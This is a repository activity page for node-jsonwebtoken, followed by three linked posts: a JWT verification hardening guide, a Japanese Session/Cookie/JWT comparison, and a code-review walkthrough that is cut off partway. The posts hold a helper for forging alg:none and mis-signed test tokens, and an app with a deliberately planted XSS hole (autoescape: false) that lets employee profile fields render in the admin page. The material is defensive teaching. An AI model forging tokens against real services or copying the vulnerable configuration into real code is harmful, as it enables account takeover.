node-jsonwebtoken

Activity, over time

Daily GitHub activity and social mentions.

Mentions

Daily posts linking to this repository

Loading mentions chart

Attention

Daily stars & forks

Loading attention chart

Star accumulation

Cumulative stars

Loading star accumulation chart

Pull requests

Daily opens & merges

Loading pull requests chart

Conversations

Daily issues & comments

Loading conversations chart

Community

Daily accounts & reviews

Loading community chart

Mentions

5posts · 30d
Nov 51 post
  1. 🔑 JWT Verification Bugs: Pin the Algorithm, Then Prove the Fix --- title: "🔑 JWT Verification Bugs: Pin the Algorithm, Then Prove the Fix" published: true description: "Most JWT bugs are verification bugs, not crypto bugs. How to configure PyJWT, jsonwebtoken and jose safely, and the tests that prove it holds." tags: security, appsec, python, javascript cover_image: xalgorix-publisher.xalgord.workers.dev --- Most JWT vulnerabilities aren't broken cryptography. HS256 and RS256 are fine. Where things go wrong is the code that's supposed to check the token: it decodes it but never verifies it, lets the token pick its own algorithm, or checks the signature and then ignores who the token was issued to. This is a fix guide for developers. We'll go through the verification mistakes that keep showing up, how to search your own code for them, how to configure PyJWT, jsonwebtoken and jose so the library enforces the rules for you, and a small test suite that proves your verifier rejects what it should. That last part matters most. "We use a JWT library" doesn't tell you your tokens are safe. A failing forged token in CI does. Only run these tests against code you own or are authorized to test. What "verifying a JWT" actually means A signed JWT is three base64url parts: header.payload.signature. The header names the algorithm (alg), the payload carries claims (iss, sub, aud, exp…), and the signature covers the first two parts. Verifying it properly means checking all of these: 1. The signature is valid, with a key you chose, for an algorithm you chose. 2. The algorithm is one you expect. RFC 8725 (the JWT Best Current Practices, February 2020) says libraries must let the caller specify the allowed algorithms and must not use any others (§3.1). 3. The token hasn't expired (exp) and is already valid (nbf). RFC 7519 allows a small leeway for clock skew, "usually no more than a few minutes" (§4.1.4). 4. It was issued by who you think (iss) for you (aud). If an issuer serves more than one relying party, RFC 8725 §3.9 says the token must carry aud and the recipient must reject it if the audience is missing or isn't theirs. If you skip any one of these, you have a bug. Five ways verification fails 1. Decoding instead of verifying. Node's jsonwebtoken has both jwt.verify() and jwt.decode(). Its README is blunt that decode() doesn't check the signature and shouldn't be used on untrusted input. PortSwigger's JWT material describes exactly this: an app passes tokens only to decode(), so any payload is accepted. The Python version of this bug is options={"verify_signature": False}, which the PyJWT docs call "generally ill-advised". 2. Letting the token choose the algorithm. If your code reads alg from the header and verifies with whatever it says, an attacker controls the check. RFC 8725 §2.1 names the two classic results: - alg: none, an unsigned token with an empty signature. RFC 7518 §3.6 says implementations must not accept unsecured JWSs by default. PortSwigger adds that blocklists for none are often plain string checks, so a value like nOnE can slip through. - Algorithm confusion. A service that signs with RS256 receives a token with alg: HS256 that was HMAC-signed with the service's public key. If the verifier uses whatever algorithm the header names with the key it always uses, the forged token checks out. RFC 8725 §3.1's answer: each key is used with exactly one algorithm, and that's checked every time. 3. A weak HMAC secret. For HS256, RFC 7518 §3.2 requires a key of at least 256 bits, and RFC 8725 §3.5 says human-memorizable passwords must not be used directly as an HMAC key. A key like secret123 can be guessed offline from a single captured token. That's why PortSwigger has a lab just for it. 4. Valid signature, wrong token. The signature checks out, but nobody checks aud, iss or exp. So a token from your staging issuer works in production, an ID token minted for another app works against your API, or a token from last month still works. RFC 8725 §3.10 puts it simply: don't trust received claims. 5. Trusting header parameters that pick the key. jwk, jku and kid tell the verifier which key to use. If the app accepts an embedded key, fetches a key from any URL, or puts kid into a file path or SQL query, the attacker chooses the key. PortSwigger's prevention advice is to strictly allowlist jku hosts and make sure kid can't be used for path traversal or SQL injection. How to find these in your own code Start with a search. It won't prove anything, but it shows you where to look: grep -rnE 'jwt\.decode\(|verify_signature|get_unverified_header|ignoreExpiration' \ --include='*.py' --include='*.js' --include='*.ts' src/ Read each hit with the library in mind. In Node jsonwebtoken, jwt.decode() is the call that doesn't verify, so any hit on a request path is a lead. In PyJWT, jwt.decode() is the verifying call, so the question is what you pass to it: a hard-coded algorithms list, or something read from get_unverified_header()? Any verify_signature: False? An audience? Then check three things in your config: - Where does the allowed algorithm list come from? It should be a constant next to the key, never read from the token. - What is the HMAC secret? If it's short, typed by a person, or in the repo, rotate it. - Which claims are required? If exp is optional in practice, so is expiry. The fix: let the library enforce the rules You don't need to write any crypto yourself. You need to pass the right options. Python (PyJWT): import jwt # PyJWT ISSUER = "https://auth.example.com" AUDIENCE = "api.example.com" def verify_token(token: str, key: bytes) -> dict: return jwt.decode( token, key, algorithms=["HS256"], # pinned next to the key, never read from the token audience=AUDIENCE, issuer=ISSUER, leeway=30, # seconds of clock skew options={"require": ["exp", "iat", "iss", "aud", "sub"]}, ) The PyJWT docs specifically warn against computing algorithms from the token's own alg: hard-code it, or configure it in the same place as the key. options={"require": [...]} makes missing claims an error (MissingRequiredClaimError) instead of a silent pass. Node (jsonwebtoken): const jwt = require('jsonwebtoken'); function verifyToken(token, secret) { return jwt.verify(token, secret, { algorithms: ['HS256'], audience: 'api.example.com', issuer: 'https://auth.example.com', clockTolerance: 30, }); } If you leave out algorithms, the README says the default is based on the key type (for a secret, the HS256/384/512 family). Pass it explicitly anyway, so the allowed list is written down in your code. The README calls expiration "optional", so don't count on verify() to require an exp claim. Make sure your issuer always sets one. Node (jose): import { jwtVerify } from 'jose'; const secret = new TextEncoder().encode(process.env.JWT_SECRET); export async function verifyToken(token) { const { payload } = await jwtVerify(token, secret, { algorithms: ['HS256'], issuer: 'https://auth.example.com', audience: 'api.example.com', clockTolerance: 30, requiredClaims: ['exp', 'sub'], }); return payload; } jose documents that unsecured alg: "none" tokens are never accepted, that issuer and audience require the claim to be present, and that requiredClaims adds more required claims. Two things that apply whatever the library: - Generate the HMAC secret, don't type it. python -c "import secrets; print(secrets.token_hex(32))" gives 32 random bytes (256 bits). Keep it in your secret store, not in the repo. - For RS256/ES256, pin the asymmetric algorithm (["RS256"]) and load keys from your own configured JWKS. Don't follow a jku from the token, and don't trust an embedded jwk. Prove the fix holds This is the step most teams skip. A configuration that looks right is a claim. A forged token your verifier rejects is evidence. Detection isn't proof, and neither is a code review. The suite below builds test tokens with only the standard library, so it works against whatever verifier you use. It includes one positive control: a correctly signed, current token that must be accepted. Without it, a verifier that rejects everything (say, because the key isn't loaded) would pass every negative test and prove nothing. # jwt_test_tokens.py import base64, hashlib, hmac, json, time def b64url(data: bytes) -> str: return base64.urlsafe_b64encode(data).rstrip(b"=").decode() def make_token(header: dict, claims: dict, key: bytes | None) -> str: """Build a compact JWS for tests. key=None gives an unsigned token.""" head = b64url(json.dumps(header, separators=(",", ":")).encode()) body = b64url(json.dumps(claims, separators=(",", ":")).encode()) signing_input = f"{head}.{body}" if key is None: return signing_input + "." # empty signature, trailing dot sig = hmac.new(key, signing_input.encode(), hashlib.sha256).digest() return f"{signing_input}.{b64url(sig)}" def good_claims(**overrides) -> dict: now = int(time.time()) claims = { "iss": "https://auth.example.com", "aud": "api.example.com", "sub": "user-1001", "iat": now, "exp": now + 300, } claims.update(overrides) return claims # test_jwt_verify.py import secrets, time import jwt import pytest from jwt_test_tokens import make_token, good_claims from myapp.auth import verify_token # your verifier from above KEY = secrets.token_bytes(32) # stand-in test key, 256 bits HS256 = {"alg": "HS256", "typ": "JWT"} def test_control_good_token_is_accepted(): claims = verify_token(make_token(HS256, good_claims(), KEY), KEY) assert claims["sub"] == "user-1001" @pytest.mark.parametrize("token", [ make_token({"alg": "none", "typ": "JWT"}, good_claims(), None), make_token({"alg": "nOnE", "typ": "JWT"}, good_claims(), None), make_token(HS256, good_claims(), secrets.token_bytes(32)), # wrong key make_token(HS256, good_claims(exp=int(time.time()) - 600), KEY), # expired make_token(HS256, good_claims(aud="admin.example.com"), KEY), # wrong audience make_token(HS256, good_claims(iss="https://evil.example.net"), KEY), # wrong issuer make_token(HS256, {k: v for k, v in good_claims().items() if k != "exp"}, KEY), # no exp ], ids=["alg-none", "alg-mixed-case-none", "wrong-key", "expired", "wrong-aud", "wrong-iss", "missing-exp"]) def test_bad_tokens_are_rejected(token): with pytest.raises(jwt.InvalidTokenError): verify_token(token, KEY) jwt.InvalidTokenError is PyJWT's base class for decode failures. If your verifier wraps errors in your own exception type, catch that instead. For a Node service, use the same tokens: generate them with this helper as fixtures, or port the helper to your test runner. They're plain strings. Check that the suite can fail. Before you trust a green run, break the verifier on purpose: make it decode without checking the signature. Run against a stand-in verifier broken that way, the control still passes and all seven negative cases fail with "did not raise". That's what you want to see. A suite that stays green when verification is off isn't testing anything. If your service uses RS256, add one more case: a token with alg: HS256, HMAC-signed with your own public key PEM as the secret. With algorithms=["RS256"] pinned, it should be rejected. This is the algorithm confusion case from earlier, run against your own service. !Seven tokens your verifier must reject, and the one it must accept Try it yourself Only test what you own or are authorized to test. These targets are built for practice: - PortSwigger Web Security Academy, JWT labs. Free, and they map directly onto the five failures above: - JWT authentication bypass via unverified signature (Apprentice): the decode()-only bug. - JWT authentication bypass via flawed signature verification (Apprentice): alg: none. - JWT authentication bypass via weak signing key (Practitioner). - JWT authentication bypass via kid header path traversal (Practitioner). - JWT authentication bypass via algorithm confusion (Expert). Burp's JWT Editor extension, which PortSwigger's material uses, makes editing and re-signing tokens much easier. - OWASP crAPI. Its challenge list includes "Find a way to forge valid JWT Tokens" (Challenge 15). It runs locally with Docker Compose; follow the QuickStart in the repo README. - Your own service, locally. Point the test suite above at your verifier, then try to make it go green with verification switched off. If you can't, the suite works. Wrap-up JWT libraries are rarely the problem. The problem is how they're called. Pin the algorithm next to the key, require the claims you depend on, check iss and aud, and use a generated secret. Then prove it: a positive control that must pass, forged and stale tokens that must fail, and one deliberate break to show the suite can tell the difference. That gives you evidence that verification works, not just a config that looks right. Further reading - RFC 8725: JSON Web Token Best Current Practices (§2.1, §3.1, §3.5, §3.9, §3.10) - RFC 7519: JSON Web Token (claims: §4.1, validation: §7.2) - RFC 7518: JSON Web Algorithms (HMAC key size §3.2, none §3.6) - PortSwigger: JWT attacks and Algorithm confusion attacks - PyJWT usage and API reference - node-jsonwebtoken README - jose: jwtVerify and JWTVerifyOptions - OWASP crAPI challenges I'm Krishna, a pentester and the founder of Xalgorix, an open-source AI pentester that only reports vulnerabilities it has actually exploited. --- 🔐 If this was useful, follow me for more hands-on web & API security write-ups. 🔗 Connect with me on LinkedIn: linkedin.com

  2. Zenn · · @shunn0429

    # JWT・Cookie・Sessionの違いを実装しながら理解する はじめに Webアプリケーションを開発していると、ログイン機能を実装する機会があります。 私自身、これまでWebアプリケーションを開発する中で、認証機能に触れることがありました。 その際に、CookieやSession、JWTといった技術を使用していましたが、それぞれがどのような役割を持ち、どのように違うのかを十分に理解できていませんでした。 特に、次のような疑問がありました。 CookieとSessionは何が違うのか? JWTを使えばSessionは必要ないのか? JWTはどこに保存されるのか? ログイン状態はどのように維持されるのか? ログアウトすると認証情報はどうなるのか? そこで今回、Session認証とJWT認証を比較できるWebアプリケーション「AuthCompare」を作成し、実際の動作を確認しながら違いを調べてみました。 この記事では、それぞれの基本的な仕組みから、実装内容、Chromeの開発者ツールを使った検証結果までを紹介します。 1. Cookie・Session・JWTとは? まず、3つの技術について整理します。 Cookieとは? Cookieは、ブラウザに情報を保存し、条件に応じてHTTPリクエストと一緒にサーバーへ送信する仕組みです。 例えば、Webサイトにログインした際、サーバーからCookieが発行されることがあります。 ブラウザはそのCookieを保存し、次回以降のアクセス時にサーバーへ送信することで、ログイン状態の維持などに利用できます。 ただし、Cookie自体がログイン認証を行うわけではありません。 Cookieは、認証に必要な情報を保存・送信するための仕組みです。 Sessionとは? Sessionは、ユーザーの状態を一定期間管理するための仕組みです。 一般的なサーバー側Session認証では、ログインに成功すると、サーバーにユーザーのログイン情報を保存します。 そして、その情報を識別するためのSession IDをブラウザのCookieに保存します。 以降、ブラウザがSession IDを送信すると、サーバーは対応するSession情報を検索して、ログイン状態を確認します。 Session認証の流れは、次のようになります。 ユーザーがログインする サーバーがSessionを作成する Session IDをCookieに保存する 次回アクセス時にSession IDを送信する サーバーがSession情報を確認する この方式では、ログイン状態をサーバー側で管理していることが特徴です。 JWTとは? JWT(JSON Web Token)は、JSON形式の情報を扱えるトークン形式です。 一般的な署名付きJWTは、次の3つの部分から構成されています。 Header.Payload.Signature それぞれの役割は以下のとおりです。 構成 役割 Header 署名アルゴリズムなどの情報 Payload ユーザーIDや有効期限などの情報 Signature トークンが改ざんされていないか検証するための署名 Session認証ではサーバー側に保存された状態を参照しますが、今回実装したJWT認証では、受け取ったJWTの署名や有効期限などを検証して認証します。 なお、JWTはCookieに保存することもできますが、Cookieを使わなければならないわけではありません。 3つの違いを整理する ここまで調べて分かったのは、Cookie・Session・JWTは単純に比較するものではないということです。 技術 主な役割 Cookie ブラウザで情報を保存・送信する Session ユーザーの状態を管理する JWT 署名付きの情報を表現できるトークン形式 つまり、Cookieは情報を運ぶ仕組みとして利用でき、Session IDやJWTは、そのCookieに保存する情報として利用できます。 2. 比較用Webアプリ「AuthCompare」を作成 理解を深めるため、Session認証とJWT認証を同じ画面で操作できるWebアプリを作成しました。 GitHubはこちらです。 Shunnsuke-cloud/AuthCompare 使用技術 技術 用途 Node.js JavaScriptのサーバー側実行 Express APIの作成 express-session Session認証の管理 jsonwebtoken JWTの発行・検証 cookie-parser Cookieの解析 HTML / CSS / JavaScript 画面と操作処理 今回は認証の仕組みを理解することが目的だったため、ReactやNext.jsなどは使用せず、シンプルな構成にしました。 アプリの画面 画面の左側にSession認証、右側にJWT認証を配置しています。 それぞれの認証方式で以下の操作ができるようにしました。 ログイン ログイン状態の確認 ログアウト 認証処理の流れの確認 認証情報と有効期限の確認 両方の認証を実際に操作することで、仕組みの違いを比較できるようにしています。 3. Session認証を実装する まずはSession認証についてです。 今回のアプリでは、express-session を使用しています。 ログイン時には、以下のような処理を行っています。 req.session.regenerate((error) => { if (error) return next(error); req.session.user = { ...USER }; req.session.loggedInAt = new Date().toISOString(); req.session.save((error) => error ? next(error) : res.json({ ...sessionInfo(req), message: "ログイン成功", }) ); }); ここでは、ログイン成功後にSession IDを再生成しています。 これは、Session固定攻撃への対策の一つです。 その後、ユーザー情報とログイン時刻をSessionに保存しています。 ログイン状態の確認では、サーバー側にSession情報が存在するかを確認します。 app.get("/api/session/me", (req, res) => { if (!req.session.user) { return res.status(401).json({ authenticated: false, method: "Session", message: "未認証です。", }); } res.json(sessionInfo(req)); }); Session情報が存在しない場合は、HTTPステータスコード401を返します。 この処理から、Session認証ではサーバー側に保存された情報を使ってログイン状態を判定していることが分かります。 4. JWT認証を実装する 続いてJWT認証です。 今回は jsonwebtoken を使用してJWTを発行しています。 const token = jwt.sign( { username: USER.username }, config.jwtSecret, { algorithm: "HS256", subject: USER.id, issuer: ISSUER, audience: AUDIENCE, expiresIn: config.jwtTtl, } ); ここでは、JWTに以下の情報を設定しています。 ユーザー名 ユーザーID 発行者 利用対象 有効期限 発行したJWTは、HttpOnly属性を付けたCookieに保存しています。 JWT認証では、サーバーに送られてきたJWTを以下の処理で検証します。 const verify = (token) => jwt.verify(token, config.jwtSecret, { algorithms: ["HS256"], issuer: ISSUER, audience: AUDIENCE, complete: true, }); この検証により、署名や有効期限などが正しいかを確認しています。 Session認証との違いは、今回のJWT方式ではログイン状態をSessionストアに保存していないことです。 ただし、JWT認証であっても、実際のアプリケーションではユーザー情報や権限管理のためにデータベースを利用することがあります。 5. Cookieの保存内容を比較してみる ここからは、実際にChromeの開発者ツールを使って検証した結果を紹介します。 まず、Session認証とJWT認証の両方でログインしました。 その後、Chromeの開発者ツールから以下を開きました。 Application → Storage → Cookies → localhost 検証結果 Cookie一覧には、次の2つが保存されていました。 Cookie名 認証方式 authcompare.sid Session認証 authcompare.jwt JWT認証 Session認証では、Session IDを含むCookieが保存されていました。 一方、JWT認証では、JWTがCookieに保存されていました。 また、両方のCookieでHttpOnly属性が有効になっており、SameSiteにはLaxが指定されていました。 HttpOnlyとは? HttpOnlyは、JavaScriptからCookieの値を読み取れないようにする属性です。 例えば、HttpOnlyが設定されたCookieは、document.cookie から取得できません。 ただし、HttpOnlyを設定するだけですべての攻撃を防げるわけではありません。 SameSiteとは? SameSiteは、異なるサイトからのリクエストにCookieを送信するかどうかを制御する属性です。 今回のアプリでは SameSite=Lax を使用しています。 この属性はCSRF対策の一部として役立ちますが、これだけで完全に防げるわけではありません。 検証して分かったこと 今回、実際にCookieを確認したことで、Session認証もJWT認証もCookieを使用できることが分かりました。 最初はCookieとSession、JWTを別々の認証方式のように考えていましたが、実際には役割が異なる技術だと理解できました。 6. ログアウト時の挙動を比較する 次に、ログアウトした際に何が起こるのかを検証しました。 Session認証の場合 Session認証でログアウトすると、サーバー側のSession情報が破棄され、Cookieも削除されます。 実際に確認すると、authcompare.sid がCookie一覧からなくなりました。 JWT認証の場合 JWT認証でログアウトすると、今回のアプリでは authcompare.jwt がCookieから削除されます。 ただし、Session認証とは違い、発行済みのJWT自体が即座に無効になるわけではありません。 有効期限内のJWTを別の場所で保持していた場合、サーバー側に失効管理などの仕組みがなければ、引き続き認証できる可能性があります。 実際のHTTPステータスを確認 ログアウト後に、ChromeのNetworkタブから認証確認APIの結果を確認しました。 結果は以下のとおりです。 操作 HTTPステータス ログイン 200 ログアウト 200 Session認証確認(ログアウト後) 401 JWT認証確認(ログアウト後) 401 401 Unauthorizedは、認証されていないことを表すステータスコードです。 最初は開発者ツールに401が表示されていたため、エラーが発生しているのかと思いました。 しかし、ログアウト後は認証されていない状態なので、401が返るのは正常な挙動でした。 この検証で、ログアウト後に認証が通らなくなることを確認できました。 7. JWTのHeaderとPayloadを確認する 最後に、実際に発行されたJWTの中身を確認しました。 AuthCompareでは、JWT認証でログインした後に「検証済みHeader・Payloadを見る」を開くことで、サーバーが検証したJWTの情報をJSON形式で確認できます。 Header 今回確認できたHeaderは以下のとおりです。 { "alg": "HS256", "typ": "JWT" } alg には署名アルゴリズム、typ にはトークンの種類が設定されています。 今回のアプリでは、HS256を使用していました。 Payload 実際に確認したPayloadは以下のとおりです。 { "username": "student", "iat": 1793621645, "exp": 1793621765, "aud": "auth-compare-browser", "iss": "auth-compare", "sub": "student-001" } 各項目の意味は次のとおりです。 項目 意味 username ユーザー名 sub ユーザー識別子 iat トークンの発行時刻 exp トークンの有効期限 aud トークンの利用対象 iss トークンの発行者 特に注目したのは、iat と exp です。 この2つはUnix時刻で表されています。 今回の値を日本時間に変換すると、以下のようになります。 発行時刻:2026年11月2日 21:14:05 有効期限:2026年11月2日 21:16:05 差を計算すると、 1793621765 - 1793621645 = 120秒 となりました。 つまり、今回発行されたJWTの有効期間は2分間に設定されていることが分かりました。 JWTのPayloadは暗号化されていない 今回調べる中で、特に重要だと感じたのがこの点です。 JWTのHeaderとPayloadは、一般的な署名付きJWTではBase64URLでエンコードされています。 これは暗号化ではないため、トークンを入手した人はPayloadの内容を読み取れます。 一方、Signatureは署名を検証するためのものであり、Payloadの内容を隠すものではありません。 そのため、JWTのPayloadにはパスワードなどの機密情報を保存しないことが重要だと分かりました。 8. Session認証とJWT認証のメリット・デメリット 今回の実装と検証をもとに、2つの認証方式の特徴を整理しました。 比較項目 Session認証 JWT認証 認証情報の管理 サーバー側のSessionストア 署名付きトークン Cookieに保存するもの Session ID JWT(今回の実装) 認証時の処理 Session情報を検索 JWTの署名や期限などを検証 ログアウト サーバー側で無効化しやすい 即時失効には追加の仕組みが必要 注意点 Sessionストアの管理 トークンの有効期限・失効管理 Session認証は、サーバー側でログイン状態を管理するため、強制ログアウトなどを実現しやすいという特徴があります。 一方、JWT認証は、認証時にSessionストアを参照せず検証できるという特徴があります。 ただし、どちらかが必ず優れているわけではありません。 アプリケーションの規模や要件、セキュリティ設計などによって適切な方式は変わると考えています。 9. 今回の実装で気をつけたこと 認証はセキュリティに関わるため、今回のアプリでもいくつかの対策を取り入れました。 HttpOnly Cookieを使用する SameSite=Laxを設定する Session IDをログイン時に再生成する JWTの署名・有効期限・発行者・利用対象を検証する 秘密鍵を環境変数で管理する 状態変更APIでOriginと専用ヘッダーを確認する なお、このアプリは学習用のため、固定のテストアカウントや開発用のMemoryStoreを使用しています。 そのため、実際のサービスとして公開・運用することを想定したものではありません。 10. まとめ 今回は、Cookie・Session・JWTの違いを理解するため、認証方式を比較できるWebアプリ「AuthCompare」を作成しました。 実装や検証を通して、特に以下のことを学びました。 Cookieは情報を保存・送信する仕組みであり、認証方式そのものではない Session認証では、サーバー側に保存された情報を参照して認証する JWT認証では、署名や有効期限などを検証して認証できる Session IDもJWTもCookieに保存できる JWTのPayloadは暗号化されていない SessionとJWTでは、ログアウト時の無効化の仕組みが異なる 今回、特に理解が深まったのは、Cookie・Session・JWTは、それぞれ違う役割を持つ技術だということです。 これまでは、認証ライブラリを使用してログイン機能を実装することが中心でしたが、今回のように仕組みを調べ、実際に動作を確認することで、認証の流れをより具体的に理解できました。 今後も、普段何気なく使用している技術について、実装と検証を通して理解を深めていきたいと思います。 GitHub 今回作成したAuthCompareのソースコードはGitHubで公開しています。 Shunnsuke-cloud/AuthCompare 参考資料 MDN - HTTP Cookie Express Session jsonwebtoken RFC 7519 - JSON Web Token

  3. The Secure Code Review Challenge — Solution #8: Employee Directory (One Setting Away from Admin Takeover) Employee Directory does almost everything right. Invitation codes are random, hashed and single-use. JWTs have a pinned algorithm. Every admin route checks the role, and the role is re-read from the database on every request. Salaries are masked, profile updates go through allowlists, forms carry CSRF tokens and NoSQL operators are stripped from every request. It still lets any employee run code in the admin's browser. All it takes is a <script> tag in their profile Name and one line in the template config: autoescape: false. This post walks through the full review: how the app works, where user input goes, which defenses hold, which one is missing, a working exploit, and the fix. Every code snippet you need is included, so you don't have to open the repo to follow along. Each snippet links to its exact lines on GitHub if you want more context. 🎥 Prefer video? The full walkthrough is on YouTube: {% embed youtu.be %} --- What is the Secure Code Review Challenge? It's a free, biweekly series. Each challenge is a complete, realistic application with its own database, backend and UI, and one vulnerability planted on purpose, based on a real-world CVE or writeup. You review it the way you'd review a real codebase, then compare your reasoning with the published solution. Every solution follows the same 7-step methodology: 1. 🗺️ Understand the application: architecture and main user stories 2. 🚪 Identify entry points: where user input comes in 3. 🎯 Identify dangerous sinks: where input could change behavior (queries, file paths, HTML, …) 4. 🧩 Build a threat model: business-logic risks (authN/authZ) and source-to-sink risks (injection) 5. 🔍 Review mitigations: which threats are actually closed, and which aren't 6. 🧪 Exploit: prove the unmitigated one is real 7. 🛠️ Fix: a primary fix plus defense-in-depth 📌 Repo: mohamed-osama-aboelkheir/the-secure-code-review-challenge 📌 Challenge #8 source: github.com/mohamed-osama-aboelkheir/the-secure-co… > ⚠️ Spoiler warning: if you want to try Employee Directory yourself first, stop here and come back later. --- 1. 🗺️ Understanding the application Employee Directory is an internal company phonebook. Employees look each other up, and admins manage the records. - Backend: Express.js (Node) - Frontend: server-rendered HTML pages, built with the Nunjucks template engine - Database: MongoDB, through Mongoose - Auth: a JWT, returned as a bearer token by the API and kept in an httpOnly cookie by the web UI - Roles: employee and admin The README sets out the rules the whole design protects: > "Employees browse everyone's public fields, see salary only on their own record, and can edit the public fields of their own record — never salary. Admins see and edit every field of every record (including salary), delete records, invite new hires, and promote other users to admin." So there are two things worth stealing: the salary field, and the admin role that unlocks it. A good way to understand a codebase is to read it as a set of stories. We'll start with what happens when the app starts, then follow the main use cases: an admin invites a new hire, the new hire registers, they edit their profile, and everyone browses the directory. 🚀 Story 1: what happens when the app starts docker-compose.yml starts two containers: a stock mongo:7 and the app, which gets its secrets from .env: app: build: . container_name: directory_app ports: - "3000:3000" environment: MONGODB_URI: mongodb://mongo:27017/employee_directory env_file: - .env docker-compose.yml#L17-L30 The Dockerfile installs production dependencies and runs node app.js as an unprivileged user. In app.js, the server refuses to start without a JWT secret: if (!process.env.JWT_SECRET) { console.error('JWT_SECRET is required'); process.exit(1); } app.js#L20-L23 Next it configures the template engine. Every page you see in the browser is a Nunjucks template in views/, and the engine fills in values like {{ emp.name }}. Read this config carefully. It matters later: nunjucks.configure(viewsPath, { autoescape: false, express: app, noCache: process.env.NODE_ENV !== 'production' }); app.js#L56-L60 Then it registers the global middleware. Two of them are security controls we'll come back to: mongoSanitize and a CSRF check. app.use(express.json()); app.use(express.urlencoded({ extended: true })); app.use(cookieParser()); app.use(mongoSanitize()); // strips keys containing $ or . → blocks NoSQL operator injection app.use(optionalAuth); // sets req.user if a valid token is present ... app.use(csrfMiddleware); // csurf on every non-exempt state-changing request app.js#L63-L79 Finally it mounts four routers: the server-rendered pages at /, plus the auth, employees and admin JSON APIs: app.use('/', pagesRoutes); app.use('/api/auth', authRoutes); app.use('/api/employees', employeesRoutes); app.use('/api/admin', adminRoutes); app.js#L85-L88 On first boot, with an empty database, the app creates a bootstrap admin with a random password and prints it to the logs: const password = crypto.randomBytes(12).toString('base64url'); const passwordHash = await bcrypt.hash(password, 10); const user = await store.createUser('admin@localhost', passwordHash, 'admin', null); src/bootstrap.js#L9-L11 🔄 Story 2: the admin invites a new hire The admin fills in an email on /admin and clicks Create invitation. The API version of that route sits behind two middlewares for the whole router: router.use(requireAuth, requireAdmin); src/routes/admin.js#L11 The store voids any older codes for that email, generates 16 random bytes and stores only their bcrypt hash. The plaintext is returned once and never saved: async createInvitation(email) { const normalized = email.toLowerCase().trim(); await Invitation.updateMany( { email: normalized, used: false }, { $set: { used: true } } ); const plaintext = crypto.randomBytes(16).toString('hex'); const codeHash = await bcrypt.hash(plaintext, 10); const expiresAt = new Date(Date.now() + 7 * 24 * 60 * 60 * 1000); await Invitation.create({ email: normalized, codeHash, expiresAt, used: false }); return { email: normalized, invitationCode: plaintext, expiresAt }; } src/store/directoryStore.js#L224-L240 🔄 Story 3: the new hire registers and logs in POST /api/auth/register takes email, password and invitationCode. It rejects duplicate emails, checks and consumes the invitation, then creates the user with a role that is hard-coded to employee: const okInvite = await db.validateAndConsumeInvitation(email, invitationCode); if (!okInvite) { ... return res.status(400).json({ error: 'Invalid or expired invitation' }); } const passwordHash = await bcrypt.hash(password, 10); const user = await db.createUser(email, passwordHash, 'employee', null); src/routes/auth.js#L66-L76 The invitation check treats the code like a password. It finds unused, unexpired invitations for that email, compares with bcrypt, and marks the match as used: const invitations = await Invitation.find({ email: normalized, used: false, expiresAt: { $gt: new Date() } }).sort({ expiresAt: -1 }); for (const inv of invitations) { const match = await bcrypt.compare(plaintextCode, inv.codeHash); if (match) { inv.used = true; await inv.save(); return true; } } return false; src/store/directoryStore.js#L252-L269 Login compares the bcrypt hash and signs an HS256 JWT. The web form also stores it in an httpOnly, SameSite=Lax cookie, so JavaScript on the page can't read it: const cookieOptions = { httpOnly: true, maxAge: 24 * 60 * 60 * 1000, path: '/', sameSite: 'lax' }; src/routes/auth.js#L21-L26 On every later request, requireAuth verifies the token with the algorithm pinned, then reloads the user from the database. So req.user.role is always the current role in MongoDB, not whatever the token says: const decoded = jwt.verify(token, secret, { algorithms: ['HS256'] }); const user = await db.findUserById(decoded.userId); if (!user) { return res.status(401).json({ error: 'User not found' }); } req.user = { id: user.id, email: user.email, role: user.role, employeeId: user.employeeId }; src/middleware/auth.js#L36-L47 🔄 Story 4: an employee updates their own profile The My profile form posts to POST /profile (the API equivalent is PATCH /api/employees/me). The handler finds the caller's record from req.user.id, never from an ID in the request, and copies only an allowlist of public fields: const emp = await db.findEmployeeByUserId(req.user.id); ... const allowed = ['name', 'title', 'manager', 'deskNumber', 'location', 'phone']; const patch = {}; for (const key of allowed) { if (Object.prototype.hasOwnProperty.call(req.body, key)) { patch[key] = req.body[key]; } } await db.updateEmployeeById(emp.id, patch); src/routes/pages.js#L64-L75 The allowlist controls which fields you can write. Nothing checks what you write into them: no length limit, no character rules. Whatever you type into Name is saved as-is. 🔄 Story 5: everyone browses the directory GET / asks the store for the directory, filtered for the viewer. Admins and the record's owner get the full row. Everyone else gets a masked copy without salary or email: async getDirectoryForViewer(viewerUserId, viewerRole) { const employees = await this.listEmployees(); const viewerIdStr = viewerUserId ? String(viewerUserId) : null; return employees.map((emp) => { if (viewerRole === 'admin') { return { ...emp }; } if (emp.userId && emp.userId === viewerIdStr) { return { ...emp }; } return this.maskEmployee(emp); }); } src/store/directoryStore.js#L210-L222 The page then prints every field into a table cell: {% for emp in employees %} <tr> <td>{{ emp.name }}</td> <td>{{ emp.title }}</td> <td>{{ emp.manager }}</td> <td>{{ emp.deskNumber }}</td> <td>{{ emp.location }}</td> <td>{{ emp.phone }}</td> views/directory.html#L19-L26 The admin page (GET /admin) goes further. It lists every employee as an editable form, with each stored value inside an <input value="...">, next to the Make admin buttons: <label>Name <input type="text" name="name" value="{{ emp.name }}"></label> ... <form method="post" action="/admin/promote/{{ u.id }}" style="display:inline;"> <input type="hidden" name="_csrf" value="{{ csrfToken() }}"> <button type="submit">Make admin</button> </form> views/admin.html#L45 · views/admin.html#L70-L73 🧠 The key observation from step 1 Put stories 4 and 5 side by side: any employee ──writes──▶ name, title, location, … ──stored as typed──▶ MongoDB │ admin's browser ◀──renders {{ emp.name }}── directory.html / admin.html ◀─┘ (the page that holds the "Make admin" buttons) Text written by the least privileged user is rendered in the page of the most privileged user. That's a trust boundary. Everything depends on the template engine turning that text into harmless characters on the way out. --- 2. 🚪 Entry points - POST /api/auth/register: no auth (needs a valid invitation), takes email, password, invitationCode - POST /api/auth/login: no auth, takes email, password - POST /api/auth/logout: no auth - GET /api/employees: any user, no input - PATCH /api/employees/me: any user, takes name, title, manager, deskNumber, location, phone - POST /api/admin/invitations: admin, takes email - GET /api/admin/invitations, GET /api/admin/employees, GET /api/admin/users: admin, no input - PATCH /api/admin/employees/:id: admin, takes :id and the whole body - DELETE /api/admin/employees/:id: admin, takes :id - PATCH /api/admin/users/:id: admin, takes :id, role - GET /login, GET /register: no auth, take ?error= - GET /: any user, renders stored data - GET /profile, POST /profile: any user (+ CSRF on the POST), the public fields - GET /admin: admin, renders stored data - POST /admin/employee/:id, POST 